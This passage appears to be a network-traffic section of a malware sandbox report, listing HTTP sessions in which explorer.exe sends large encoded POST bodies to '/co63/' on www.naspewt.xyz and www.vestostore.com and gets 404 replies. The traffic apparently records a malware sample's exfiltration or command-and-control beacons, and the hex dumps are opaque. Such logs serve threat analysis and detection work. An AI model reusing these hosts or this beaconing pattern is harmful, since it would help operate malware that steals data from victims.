ldHkxC81XMJzFhESOe4kHYu6k_reGOaWwsD9EBiPUVnBJeKDbM7bc-g-8zkXLpMSsY1CMExM3CE_0y8qIEMM7ekQrC79zyJ-~kS37QnSNU4dZE79sGI6jeG0p3JkjbV7oimZitYSfmH0KZrA775A26p-GwYZtfID3-6NQCr1obu4xrOhM40EEkjw3S7N0QhKSv1f3wmBh61ugHPPMlJV410xcdZcLidGkwXu~LmsUmAvizQ6TdTRrxOAxjNC~j5bP7d3qjxBauV1yA).KOy2(53
Jul 20, 2023 11:46:40.046875954 CEST	853	IN	HTTP/1.1 404 Not Found Date: Thu, 20 Jul 2023 09:46:39 GMT Server: Apache/2.4.29 (Ubuntu) Content-Length: 277 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 77 77 77 2e 6e 61 73 70 65 77 74 2e 78 79 7a 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at www.naspewt.xyz Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
19	192.168.2.5	49730	184.94.215.140	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jul 20, 2023 11:46:40.497159958 CEST	866	OUT	POST /co63/ HTTP/1.1 Host: www.naspewt.xyz Connection: close Content-Length: 151296 Cache-Control: no-cache Origin: http://www.naspewt.xyz User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.naspewt.xyz/co63/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 61 4a 45 6c 77 56 3d 7a 58 4b 4e 7e 6a 7a 66 54 56 6c 30 35 54 42 66 69 53 6a 57 53 37 41 51 31 2d 79 48 42 7a 30 4a 58 4b 52 63 6c 6e 39 46 72 33 6b 63 42 46 52 72 50 62 79 37 64 4c 32 31 39 54 32 2d 59 64 65 6e 68 5a 49 4d 65 51 76 4b 46 36 6d 46 31 54 38 5f 64 4f 78 51 30 79 76 4a 4c 69 4b 46 49 76 4d 52 35 6e 71 4a 57 55 42 68 31 73 4f 66 57 78 4b 6c 30 51 55 69 6d 58 4a 39 71 35 62 4b 67 66 65 38 43 4a 68 68 61 63 68 67 4c 41 63 32 56 75 77 54 51 66 6a 38 77 77 7e 6d 53 73 6e 36 78 44 47 4d 28 66 73 48 4e 41 47 44 78 34 68 47 4c 78 72 4d 43 67 4d 72 35 33 74 52 79 75 57 74 34 44 41 4f 61 4a 4b 44 4e 6c 44 72 67 35 74 54 63 4e 48 48 6a 45 57 70 50 77 32 6a 58 61 68 4a 75 6c 4e 57 30 79 48 72 52 47 78 52 68 63 54 4d 34 45 35 6c 71 33 4b 4b 31 39 57 61 43 73 30 32 67 52 42 4d 6d 6a 73 4b 53 38 5a 7a 56 52 50 73 51 33 4a 6c 54 4a 50 35 51 47 6a 4e 39 69 39 57 5a 79 38 6d 55 58 61 44 6c 38 32 76 44 6f 56 34 6d 4f 76 72 5a 34 76 67 73 36 53 38 7a 48 4b 6c 64 4e 52 69 53 53 73 6a 6e 77 51 63 37 34 75 4a 31 74 4a 72 35 4e 4b 7a 49 39 71 49 6f 6b 64 6c 44 43 41 57 5a 4e 69 4e 58 39 66 73 35 6a 49 67 42 32 30 79 51 44 53 78 68 35 4b 47 76 67 4d 65 72 37 71 62 74 35 47 55 54 2d 4b 4c 4f 36 7e 71 74 67 44 35 78 62 4f 48 63 46 7e 31 32 4d 37 39 4e 4d 48 69 4f 64 53 4b 5a 4a 57 53 63 4d 50 7a 65 47 36 4c 72 38 49 61 37 55 41 70 67 77 38 41 49 4c 78 58 71 38 50 58 53 63 36 64 50 33 72 38 41 6c 33 62 48 34 38 6d 75 4f 38 63 4a 46 74 49 50 45 44 34 49 73 68 78 77 41 71 65 35 34 74 74 66 69 6a 72 4e 46 30 55 39 71 28 55 6a 43 41 34 55 56 54 42 61 73 43 37 49 31 30 7a 61 4f 6d 5f 6b 6c 69 6a 6a 30 67 36 70 65 73 50 28 73 5a 47 68 44 53 63 49 44 59 7a 67 4c 35 45 71 67 36 61 4a 38 70 63 45 6b 44 33 63 78 4d 75 52 36 75 48 54 58 74 72 68 49 6e 76 6b 56 63 70 68 4f 37 77 56 33 64 76 72 62 33 36 78 52 4c 4c 4b 33 78 61 7a 36 58 44 58 43 70 46 41 50 36 51 74 50 46 5a 5a 4c 55 4c 5a 4b 5a 64 4a 75 77 30 28 68 36 71 68 4f 76 37 49 7a 6c 4a 36 41 36 41 62 54 51 68 56 30 42 71 50 79 43 66 69 6a 33 47 66 37 38 35 50 6b 37 4b 30 6d 63 38 77 31 69 5a 5a 6b 35 36 28 4e 39 64 36 6a 74 42 4c 57 49 39 6b 35 48 48 45 44 30 54 56 41 36 34 58 4f 55 4f 74 2d 36 37 79 6e 39 6e 68 47 33 54 4e 70 6c 50 7a 6b 79 6a 6e 30 4f 32 61 69 30 4f 4e 37 7a 7a 4f 51 39 54 47 63 54 6f 42 46 72 73 56 57 46 4a 4c 7a 45 56 28 5f 51 4d 39 69 63 44 49 78 71 35 4d 6b 39 32 30 71 42 38 33 49 33 52 35 35 79 64 46 6d 4d 79 6d 4f 61 49 4a 79 52 32 53 67 74 59 59 41 31 71 54 4d 67 4d 69 63 7a 69 43 51 52 57 57 73 7e 46 55 67 75 49 4e 6a 70 4c 30 34 6c 62 66 52 68 59 50 48 66 43 4b 63 61 42 63 72 77 58 6e 49 62 54 77 73 7a 78 30 57 4a 55 75 6b 6a 46 76 39 76 48 69 53 5a 65 67 4c 55 51 71 75 59 75 50 42 37 45 6a 5f 75 78 51 58 66 6f 39 35 4e 6c 69 79 70 30 50 59 45 6a 50 75 7a 68 74 6c 63 32 42 5f 4a 44 6c 34 5a 4b 57 32 67 75 49 59 28 72 4b 54 43 38 6c 5f 77 54 5a 51 35 77 55 39 44 45 7a 78 73 53 41 7a 4c 74 4e 67 59 7a 5a 4c 31 59 38 6b 59 4f 39 53 4e 6f 6c 5a 6b 37 7e 79 69 42 58 54 75 30 31 61 4e 37 33 42 4c 33 46 34 33 53 54 4b 72 53 5a 51 46 57 61 42 48 56 55 52 56 36 61 4d 5a 4c 61 5a 36 74 5a 6d 6d 70 4a 38 28 5f 45 4a 75 79 34 68 4c 49 42 6c 6d 6c 4b 66 38 62 4b 49 28 32 59 31 4f 42 76 37 6a 43 48 32 6d 52 6e 6c 4d 36 78 6d 64 38 64 7a 57 45 55 73 6f 78 38 6e 64 72 63 6e 61 37 55 6d 4c 55 72 51 45 5a 56 7a 61 36 6a 6d 79 6f 61 4f 52 33 6e 44 4e 5f 54 69 55 4d 7a 6a 61 75 6e 6c 38 61 4d 44 49 67 4a 5f 55 37 57 4a 70 52 4a 50 67 46 4d 32 76 7a 5a 30 5a 6d 76 5f 50 4a 73 4c 53 75 49 74 48 72 68 33 57 38 54 77 53 6a 68 61 6d 69 37 44 74 42 43 54 68 64 47 53 78 35 76 32 76 56 54 72 28 39 6e 55 53 78 4e 63 49 67 61 79 41 44 68 5f 4c 4e 34 67 6f 50 50 59 68 4f 4e 77 41 6f 4b 74 4d 54 45 5a 54 6b 75 4e 33 5f 45 4b 43 77 28 4b 48 6e 45 57 76 5a 52 33 66 41 4e 2d 4b 54 57 62 28 63 4b 76 4a 53 33 69 74 6f 4f 5a 6b 55 6f 72 78 6e 4f 56 42 54 33 43 38 4b 33 69 31 37 4b 6d 4e 77 31 36 34 79 6f 79 62 65 32 43 42 61 30 57 71 48 32 53 57 70 50 44 34 73 63 53 57 6e 74 6b 31 38 67 62 71 6b 35 6a 78 31 6f 63 52 59 34 77 69 2d 76 66 51 59 58 44 65 72 41 4f 7e 48 33 59 45 5a 33 39 35 6d Data Ascii: aJElwV=zXKN~jzfTVl05TBfiSjWS7AQ1-yHBz0JXKRcln9Fr3kcBFRrPby7dL219T2-YdenhZIMeQvKF6mF1T8_dOxQ0yvJLiKFIvMR5nqJWUBh1sOfWxKl0QUimXJ9q5bKgfe8CJhhachgLAc2VuwTQfj8ww~mSsn6xDGM(fsHNAGDx4hGLxrMCgMr53tRyuWt4DAOaJKDNlDrg5tTcNHHjEWpPw2jXahJulNW0yHrRGxRhcTM4E5lq3KK19WaCs02gRBMmjsKS8ZzVRPsQ3JlTJP5QGjN9i9WZy8mUXaDl82vDoV4mOvrZ4vgs6S8zHKldNRiSSsjnwQc74uJ1tJr5NKzI9qIokdlDCAWZNiNX9fs5jIgB20yQDSxh5KGvgMer7qbt5GUT-KLO6~qtgD5xbOHcF~12M79NMHiOdSKZJWScMPzeG6Lr8Ia7UApgw8AILxXq8PXSc6dP3r8Al3bH48muO8cJFtIPED4IshxwAqe54ttfijrNF0U9q(UjCA4UVTBasC7I10zaOm_klijj0g6pesP(sZGhDScIDYzgL5Eqg6aJ8pcEkD3cxMuR6uHTXtrhInvkVcphO7wV3dvrb36xRLLK3xaz6XDXCpFAP6QtPFZZLULZKZdJuw0(h6qhOv7IzlJ6A6AbTQhV0BqPyCfij3Gf785Pk7K0mc8w1iZZk56(N9d6jtBLWI9k5HHED0TVA64XOUOt-67yn9nhG3TNplPzkyjn0O2ai0ON7zzOQ9TGcToBFrsVWFJLzEV(_QM9icDIxq5Mk920qB83I3R55ydFmMymOaIJyR2SgtYYA1qTMgMicziCQRWWs~FUguINjpL04lbfRhYPHfCKcaBcrwXnIbTwszx0WJUukjFv9vHiSZegLUQquYuPB7Ej_uxQXfo95Nliyp0PYEjPuzhtlc2B_JDl4ZKW2guIY(rKTC8l_wTZQ5wU9DEzxsSAzLtNgYzZL1Y8kYO9SNolZk7~yiBXTu01aN73BL3F43STKrSZQFWaBHVURV6aMZLaZ6tZmmpJ8(_EJuy4hLIBlmlKf8bKI(2Y1OBv7jCH2mRnlM6xmd8dzWEUsox8ndrcna7UmLUrQEZVza6jmyoaOR3nDN_TiUMzjaunl8aMDIgJ_U7WJpRJPgFM2vzZ0Zmv_PJsLSuItHrh3W8TwSjhami7DtBCThdGSx5v2vVTr(9nUSxNcIgayADh_LN4goPPYhONwAoKtMTEZTkuN3_EKCw(KHnEWvZR3fAN-KTWb(cKvJS3itoOZkUorxnOVBT3C8K3i17KmNw164yoybe2CBa0WqH2SWpPD4scSWntk18gbqk5jx1ocRY4wi-vfQYXDerAO~H3YEZ395mHysj3sBPy5mnYnqIlJ~4lNOkJKp1IGqDwCrN5D0cT_hanDXSiLx9lFfhRz4HokssftZxVTE5vD3tjKiTWkx1iDUITZuXoG2U6zQM2QQaOedxzQ4JQaQdgoyQ18DyxRW2BOsFtSD19twzlg3oOytxw3d0ww5jCasqUF7Lyop8ahA_Ygi9A4k7gUI4Kgnio4YiGgGUvm~jRDzvoQz95FNCgdWvFAo2wei1zU92N94KHNrzo_(AZvzCbHgc2Q2kFbO9Zxt3gzm-4scPf6YoiQ2FBtVb5BFbK9mNB1GlVMPRN95mqAREiyviBEOFuvWtLkCjFXZUv3kvyucCgaemh8trkiZdEntaM24899qbbEZNYOP8NAl6gkKhgf7MKGaZLapZi1YpXsDflMlRb7oLImE_MmkccB1CfmsbO5cO9sxJYMOG8V7MnOBj7M(IKHGQioSXtJeJAMbS8WnmW5f2ipR9vIfZdErmS4q06InRRpl3doS5ccZ76_Z2yErYYAx5lGeZ6v7zjNeo6d~EOpJvAU92mJK7pNmNVTvXYASY(va0UlpF5btXV3TYqvrBow(NtnGl2CUrMuwcIUAhZAUXDKzAVbll7-gBm67lJS(2sl4dtvSzIjSme5X3XXGnztGXT9aR4uYpdVFtJC7SfhvebL3jIGLlaCoZsFMXzOlX68e5sH~9B65c1nhom0(h(rPN(-A0BEszXdJMRMRYNuTbG_O4zN24UiFnGcA1GMq1bmPk8B3WtXUuFjsfOZnIcrErwFtcVqbcQVDFr3GB8IZjitB5803ePXXFEHT6Fdpht1KoPD8XTxjPBepn(09NjchMBnRliKisIQu0dWEuR2ZBuNUi92yUMa13xX6e1bFNkLVbNRkIrWVF5q73hSO94zIRxioKEUtiFoggv8ZgyoBut0SllyoTN67DdMbdNFOZwGAfAGu3s1LlqkYVNEyHNUImH_4ovK0Jlac9YqWyF6e0fj4-Oen5~nWGPijmbrO3f39PKGdrPW62qHjxGiiZ8ZDLUC~JpEoZKjVvc8m94ymOrmwx6hN5fa18zTwZxwdhsmPUr5u1AVHQVeX6k95L~O1eKPau5mIhpxQk(Xy7~96RXQ9WI37V~3SxHqzb2NYfrVxcDjIjZUcYXajACtMKNeWt2u8yJ9TqS2m67iD9idKQ4DtTP-3iba9A401o05MFcpn_Vu5LxEZdITvVmESXdaq_mYocSpXuK-pKdVYG46STxBmhHDFcSGGv578oNxCsqcDq7Fj2df1Sb6SygzommnjkNtFaxwp_D9~_AgSr3B(S92zN8nlYdtN8vlV8Mno-AjHDNVaMPK17yBeERaIPjdSIxhpbb0t6MRkqAwL55IbuiU9rSCXuDCdYhvaHLsFvmDtAy0szUzrIUsnP1aRbisIPd7QgmIGEpV9gfZxo(6pk(82qXyk5lRylx8VC6dHVwaegoDfcGUx7U5CRrFTp5RfobVLMzeBNGaSithplGcMc6VqT9DV8aPrnmX4jdejXi5KSYOLczjNFq2na3V0aTlgF3oCDWWeW(Txa6V(Lg_FYhlNbeGkN95vv6s~R9Y5umpWrhBJBdevUZl8HplmZmM(doJ0_ZHBkaFbzfdcDtYlK8kExaOBtEp92flFhpi085yx3Z15wyTeArfHZlx5ixjlbkkN0jNrNyqnJSSEU5dLcTgz2vt2zPleJdEZVMC5cVDGXIfjOmNBUqTHoQmYb5OXexuG8(W3D5idFnUa8EEnjWtedtRJraOYjevgxSqeTiduR5Ufphpcyyo53oIQkrvvUV-cfh0B6ftjkBcG7d80Cha4CWK2XjnVK4pfrm_BlKeuz~xjwgPCibOLqF3bt2Nm0bwiRPp8p4-ah9Y0VFBU0Nb6peRXlaQqa0JTnLRUMIx6_rqB83c0KWZU_UxVaukt19geMyewHYVCLER~uIwicGcZSofvDlhzyVJHQqKdymQ1J5aFEawDya6KcrP46dmLjPScjrzFvcOjv9yq8NdxhqXNxC2j2d4TwLPjh1A86Or0_ZZdGqEto4Awj9x3BuxnGfuCjfluTcyxZOKlzjz5pHAckRxWZFi4MhFTRDfYqnK8JA4LkNU69Gp3Aip4egLfO7u2DO0nOO1ZPiwdFK_P6FWGoxxevdfBTZ4g1nkB_EA7Ns8K1sN1_Yx6Gcbz9mhKisU3VghfZV_xm3Qj3Fn1McLR532XvghmTvkKbn8(Pf-19hELGGZckozAX4Fo1t5QhH9fAjbNfsX07eOPVD2GoUOzOdfUlBPr1Ol5aE0ds0df9pQtOrdZEmd13RNL3zKYiP_v8ttNVsuSbN5DJWaX7uygyty4S(-t8BLbp1yrPm3wwbr70UaWe7_PmlXr0M3MqTuF4WKpYgyr5TCh58NLxg-8gkJ5USUih12vW77Zxz-FM(8UOlxJO~FKia63gpDZlh8c15_iPwE~-MOkZG4dfmAzJ(hrZcmjTeK96UhR7w_38MgeysooCDKALOxLwIBXTJo(QziCtqtxZPdC0EIRSgrjrQT0bw_nSSorFwOJ-2BXxwDTRCAkXBA9RauqwNmYvJ6S9h7PURc3CUhL9ks8cFvcSbmBfpxqp3xGXYhYpyqX8UkjaNfRxc-J36qiVwLdn9jE0Ns4ugXx75lNCDgzoYNjS42VWRwnfPUZorSRJTOc-Uez2Df(0gwIH3tFe6BDQul9HVGomJg0NnukYnVHtZP(ViGlXz5NIahSuvcY
Jul 20, 2023 11:46:40.669718027 CEST	883	OUT	Data Raw: 36 41 54 4a 47 71 7a 71 6f 49 43 75 70 76 35 68 49 37 70 57 31 48 75 30 5a 61 6c 45 32 51 41 36 6b 46 75 41 4d 55 34 4e 66 64 6c 33 4f 34 74 77 37 7e 61 6d 7a 50 36 43 6c 47 4d 6b 77 7a 6a 31 49 61 51 34 44 52 6a 47 78 30 6c 6d 38 49 50 62 37 73 Data Ascii: 6ATJGqzqoICupv5hI7pW1Hu0ZalE2QA6kFuAMU4Nfdl3O4tw7~amzP6ClGMkwzj1IaQ4DRjGx0lm8IPb7s_Hb1M(AUsJQ5zlVZcXYgB(_SQbFdPe-pXL1(KhLza2Aydmvvwv8rng9ZVjBcaqBlDUmaT~sKAS-KZLKWlld~NZ5lY~CzmPi1JOaKV1eKCMwlnphA_dwDx2tRoMR0jK3fkKoT2bKcCHySvRP5SPWbt~kANTSNt(cd4
Jul 20, 2023 11:46:40.669822931 CEST	891	OUT	Data Raw: 36 4e 50 6e 59 34 73 70 7a 41 4b 33 55 6f 67 7e 44 61 58 38 35 37 35 76 70 6b 5a 65 45 59 64 70 53 71 46 53 47 30 5a 7a 75 53 67 73 42 4d 72 51 33 39 4e 62 49 45 38 69 53 61 74 4a 63 32 76 72 6d 57 6c 57 43 66 72 44 77 34 2d 7e 56 73 67 6d 36 6e Data Ascii: 6NPnY4spzAK3Uog~DaX8575vpkZeEYdpSqFSG0ZzuSgsBMrQ39NbIE8iSatJc2vrmWlWCfrDw4-~Vsgm6nxkm7wTa(GlSMbemEjJFbBT7j4GIt1vkev0FMRzLIF0nSUGlneRx0KU44Jtq76Cfpi0rPnzYJ2uJfzNKGgrdz5aNnTZGTVuQuh3zDQrwKNOK8nc7keaIDhq6eQB9AJLGMlsuO2YB8PeIRqaVZNPZYcuo4foVZYrTN4
Jul 20, 2023 11:46:40.841993093 CEST	904	OUT	Data Raw: 59 6c 49 6f 39 53 61 76 41 51 77 75 6e 31 6d 34 6f 33 66 53 54 54 7a 36 63 42 71 62 79 7a 6b 52 5f 43 72 65 41 76 39 58 4e 55 41 4a 66 33 5a 48 64 34 43 32 69 39 59 41 31 4e 5f 34 33 74 73 6f 2d 71 48 79 54 6c 7a 69 39 44 70 56 37 65 57 79 49 48 Data Ascii: YlIo9SavAQwun1m4o3fSTTz6cBqbyzkR_CreAv9XNUAJf3ZHd4C2i9YA1N_43tso-qHyTlzi9DpV7eWyIH8DE0QaNjvqhzFtuFRROB2F60i6C7HQHpoPG1EoZmeUi05EwZ6KlEwlEAG~LyXa8VebCygF4TzrSpBhIygs5Q-T9RizyHlhdL9QhduQgwGXL9jUsrOAINGwriLRF3XZD8df0JW203_Oju0FKfGU0V7YpQnpbhp5xbZ
Jul 20, 2023 11:46:40.842068911 CEST	916	OUT	Data Raw: 59 5a 70 50 64 56 64 78 30 58 4f 35 71 7a 5a 68 64 31 56 39 35 57 4c 47 31 41 59 6d 56 70 4a 28 7a 45 47 51 5a 62 71 4a 5f 47 74 68 34 78 46 42 49 35 71 54 33 63 51 32 73 33 68 4e 48 62 52 76 58 79 6d 73 67 74 4c 6c 36 34 47 30 35 6f 2d 28 6c 5a Data Ascii: YZpPdVdx0XO5qzZhd1V95WLG1AYmVpJ(zEGQZbqJ_Gth4xFBI5qT3cQ2s3hNHbRvXymsgtLl64G05o-(lZpcBOkMUsEVMvzGfsSxcdSwPi84uzAWtgaSV1ApqLRg_5cqHIXo9jJWTLY5skF8O5xBAGDcEKsnh264pkD8OxswmLg3BYA4d2CqMLvCNkHC_BFhdhlqdPXnz~FHQHZl3V14v8v2pfbElhOEHONYUZ9p5qlrj2bG7Nv
Jul 20, 2023 11:46:40.842556953 CEST	927	OUT	Data Raw: 5a 53 4c 6c 36 76 6d 54 69 6a 63 58 78 32 54 44 6c 45 63 37 55 57 49 62 69 72 4c 70 52 6b 69 51 42 67 39 75 2d 4e 5f 50 4d 34 5a 43 51 4c 6f 47 6c 78 51 38 63 4c 76 63 79 67 50 69 4c 31 74 4c 61 39 52 5a 75 44 48 69 69 33 6a 7e 5f 32 42 4e 61 6c Data Ascii: ZSLl6vmTijcXx2TDlEc7UWIbirLpRkiQBg9u-N_PM4ZCQLoGlxQ8cLvcygPiL1tLa9RZuDHii3j~_2BNal6mbNgEP~WAdpsAhYGM6P_tmkBa-9EKqLOnmaM(H9QX1BGfAc9GNolUM4EeOL1NDYBLrxfP0(izrFFkjI5dBbXMszB4Jc1TL(yrwyHxzuON_a2ObltnYCd0JuAsxJyTpGz~ugobzOu~Fr6EGE59Wb2Wrm0C4nM26hU
Jul 20, 2023 11:46:40.842921972 CEST	929	OUT	Data Raw: 41 45 4d 74 58 30 4a 46 67 57 46 59 46 69 77 6e 65 28 72 58 5f 47 36 74 73 49 4c 35 6e 39 4c 39 4f 62 6f 4e 73 67 52 5a 50 69 54 33 6b 6a 6a 4e 49 73 75 41 78 4c 71 43 4a 61 6e 39 57 76 4b 66 46 77 7a 61 42 6b 51 37 7a 6c 59 70 76 4e 6e 56 43 78 Data Ascii: AEMtX0JFgWFYFiwne(rX_G6tsIL5n9L9OboNsgRZPiT3kjjNIsuAxLqCJan9WvKfFwzaBkQ7zlYpvNnVCxl~P6JYrdtel4d4cKXdodQmW5Wc_Xh0MV8Um(qUknDQN8Fiv(a0BP_ONDCrkoXk0bE17LMQJ0wtIREzWhpbVkrfQAxVm8fwxtwU8uef3lyUMyfYTdiHCm3pleh2mhYtiwfPichqhbZi85ncd80~irwQ2t8UxubtyEE
Jul 20, 2023 11:46:40.842971087 CEST	937	OUT	Data Raw: 42 38 70 79 31 49 54 77 78 62 49 69 50 56 4f 47 32 4c 45 32 48 58 71 30 6a 70 31 56 6d 34 77 63 57 56 71 34 77 4a 44 39 68 79 35 53 73 68 4e 33 6b 4c 5a 41 35 48 78 72 36 72 69 32 42 38 65 30 42 61 63 45 64 59 33 46 46 47 6a 6a 72 78 4c 57 6c 66 Data Ascii: B8py1ITwxbIiPVOG2LE2HXq0jp1Vm4wcWVq4wJD9hy5SshN3kLZA5Hxr6ri2B8e0BacEdY3FFGjjrxLWlffeQJnwgKC8TDdKj8UdAHWDtX0Y8pjjOz4IKOUfl8U0Q~Vhdjyj52Hqtl9L_Sh1DNu8VyVyTGmShFi23rLMY180zNgBuiWmWvN4L1fn8Q-py3hPpws4B2jNF3snVVerhVWNwTAAlht5Eu1Ni7gKbHGRWkypbCGc_RI
Jul 20, 2023 11:46:40.843456984 CEST	939	OUT	Data Raw: 38 32 74 64 47 6a 41 39 41 41 6f 47 43 4e 41 4a 42 68 68 6d 49 28 6a 43 41 4f 33 63 76 7e 55 52 75 56 71 55 42 54 35 42 5a 4d 32 48 4b 73 71 57 75 44 2d 45 35 77 63 34 66 59 31 4d 69 37 7a 59 56 73 4b 70 48 39 61 63 4d 57 68 6b 59 47 64 4d 70 63 Data Ascii: 82tdGjA9AAoGCNAJBhhmI(jCAO3cv~URuVqUBT5BZM2HKsqWuD-E5wc4fY1Mi7zYVsKpH9acMWhkYGdMpcjstgm5IoldODSYHngbIA-x5GKPpu8HouFzbc9~5XJ8qrFHmoJDCp4021AHgEiE9GDT77K(8Yz3i944ZPObKd7eVakdL48gs~-FaC05T8LX4oj~P(LeOHK6zg1nYYz2xQYo9jQ(F9jwJK2MH1PzwQX0iAUxl9bxBNw
Jul 20, 2023 11:46:40.843482018 CEST	942	OUT	Data Raw: 4d 58 69 31 4c 35 36 6e 53 58 77 48 64 7e 49 48 44 65 6c 78 54 4d 6a 55 32 7e 6b 79 75 28 4c 45 64 78 30 32 34 7e 66 4d 65 31 6c 69 78 47 62 54 78 6a 6e 39 66 45 35 65 4c 50 73 4f 39 4c 7a 28 44 53 72 36 61 47 42 6a 35 41 53 66 6c 4a 74 4a 5f 44 Data Ascii: MXi1L56nSXwHd~IHDelxTMjU2~kyu(LEdx024~fMe1lixGbTxjn9fE5eLPsO9Lz(DSr6aGBj5ASflJtJ_D25VjqGUe5QWebjaTAGh2yvjZCHJp6AyCxcJoQdFl85JcYFZz0~Wed5q6pKppCmuxFib(f0Vhui29XdYe8(-HnpPxU9BlF5hHsvTve4bARMhzvLkEwzMMOy2h4jP3DzwKfOYPp4vHhN9i72rsj(-NOFYcFoCVhIlG2
Jul 20, 2023 11:46:41.014893055 CEST	967	OUT	Data Raw: 79 7e 43 6c 46 4f 67 53 31 6f 6b 57 49 63 6b 4b 52 64 53 72 42 7e 45 54 6d 7e 6d 57 59 43 58 65 67 4c 59 31 57 54 48 47 6f 30 51 69 6a 65 5a 44 31 61 35 4c 38 62 38 64 6c 39 49 46 6d 49 72 4e 71 77 44 65 2d 49 44 4f 57 7a 34 6e 31 41 66 43 66 58 Data Ascii: y~ClFOgS1okWIckKRdSrB~ETm~mWYCXegLY1WTHGo0QijeZD1a5L8b8dl9IFmIrNqwDe-IDOWz4n1AfCfXEmBSxdQmEKAobI8qvcC~pbQKSjdrc4Y3SbJwsGnW7~Q5zN5UVCtTiK8P7yJHTxhlNvj~x82wtjBza13qzT1LFnM9LWQQW27cFui(Zd-6ou8tLBbEWURO_vja-oe7ACbLAFLFKqVVKb7coHKubC0tKUyl7UVik5fW4
Jul 20, 2023 11:46:41.290138006 CEST	1004	IN	HTTP/1.1 404 Not Found Date: Thu, 20 Jul 2023 09:46:40 GMT Server: Apache/2.4.29 (Ubuntu) Content-Length: 277 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 77 77 77 2e 6e 61 73 70 65 77 74 2e 78 79 7a 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at www.naspewt.xyz Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.5	49713	86.38.202.187	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jul 20, 2023 11:44:40.459691048 CEST	138	OUT	POST /co63/ HTTP/1.1 Host: www.vestostore.com Connection: close Content-Length: 151296 Cache-Control: no-cache Origin: http://www.vestostore.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.vestostore.com/co63/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 61 4a 45 6c 77 56 3d 32 38 41 5a 59 73 45 74 65 6a 66 59 76 33 71 75 52 44 61 76 57 78 33 52 5a 78 78 61 51 6f 67 46 56 47 7e 47 56 6d 6a 6a 72 77 6f 7a 4e 67 53 68 67 58 73 74 59 74 37 7a 4f 67 76 6c 72 78 69 4e 36 4c 45 36 77 36 31 74 6f 36 46 4c 72 37 7a 48 69 37 32 43 4f 70 7a 53 33 70 75 4f 66 6b 50 2d 28 48 6b 74 74 4f 44 6c 32 6a 75 55 79 72 31 30 58 2d 6f 31 79 56 6c 77 41 74 48 68 32 7a 48 61 63 31 4e 74 79 4a 75 39 33 53 61 31 72 2d 66 37 34 63 44 53 51 73 50 4d 64 4f 35 68 66 5f 28 6e 69 62 74 34 58 76 76 4c 4b 71 6f 6a 5a 79 28 76 4a 64 66 73 43 6e 61 4b 51 50 69 30 28 53 6b 54 35 41 79 50 6c 78 67 4f 62 32 62 4f 42 72 6f 2d 39 77 78 4c 7a 69 54 76 42 47 37 36 49 71 46 30 38 53 58 41 68 64 7a 63 28 5f 33 51 55 66 56 35 73 79 6f 6b 6a 59 76 65 73 70 77 68 7e 46 68 65 62 55 61 46 58 49 34 5f 79 76 74 64 50 58 30 59 32 36 33 6d 70 79 42 44 42 6c 45 43 73 52 43 72 7a 6f 